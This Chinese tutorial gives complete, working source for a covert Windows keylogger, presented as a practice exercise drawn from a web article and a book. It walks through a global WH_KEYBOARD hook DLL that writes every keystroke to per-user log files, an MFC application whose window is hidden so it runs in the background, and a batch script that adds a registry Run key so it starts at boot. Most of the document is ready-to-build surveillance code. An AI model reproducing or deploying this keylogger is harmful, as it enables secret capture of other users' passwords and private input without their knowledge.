本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。
这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。
程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。
- 全局钩子DLL
创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook
在自动生成的源文件KeyBoardHook.cpp中,
定义全局变量:
#pragma data_seg("publicdata") HHOOK hhook = NULL; HINSTANCE pinstance = NULL; #pragma data_seg()
在DLL入口函数中,添加获取钩子实例句柄的代码:
extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // Remove this if you use lpReserved UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("KEYBOARDHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance)) return 0; new CDynLinkLibrary(KeyBoardHookDLL); pinstance = hInstance; //获取钩子实例句柄 } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("KEYBOARDHOOK.DLL Terminating!\n"); // Terminate the library before destructors are called AfxTermExtensionModule(KeyBoardHookDLL); } return 1; // ok }
全局钩子的具体实现代码:
//保存日志文件 extern "C" void SaveLog(char* c) { //printf("刚才点击的是%c键/n", &c); //char buffer[80]; //wsprintf(buffer, "c的值是%c", c); //AfxMessageBox(buffer); const int MAX_BUFFER_LEN = 500; char szBuffer[MAX_BUFFER_LEN]; DWORD dwNameLen; dwNameLen = MAX_BUFFER_LEN; GetUserName(szBuffer, &dwNameLen); CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } //键盘钩子回调函数 extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam) { LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam); //AfxMessageBox("huidiao"); if(nCode == HC_ACTION){ if(lParam & 0x80000000){ char c[1]; c[0]=wParam; //AfxMessageBox(c); SaveLog(c); } } return Result; } //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接 extern "C" bool WINAPI InstallHook() { // AfxMessageBox("anzhuang"); hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0); if(hhook != NULL) return true; else return false; }
用def文件导出DLL函数,在KeyBoardHook.def中添加:
EXPORTS ; Explicit exports can go here InstallHook @1 //dll导出函数的名称为InstallHook,序号为1
至此,编译并运行,程序的DLL部分便完成了。
- 负责调用DLL的单文档应用程序
创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。
设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib
在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:
//安装钩子函数 extern "C" bool WINAPI InstallHook();
在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。
void CKeyBoardHookAppView::OnInitialUpdate() { CView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class InstallHook(); }
最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:
在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。
- 设置本程序随开机自启动
使用bat批处理来制作安装和卸载
md C:\keyboard @reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f
以管理员身份运行“安装.bat” ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。
参考:
《精通Windows程序设计——基于Visual C++实现》 人民邮电出版社
《利用键盘钩子捕获Windows键盘动作》 http://www.yesky.com/328/1890328.shtml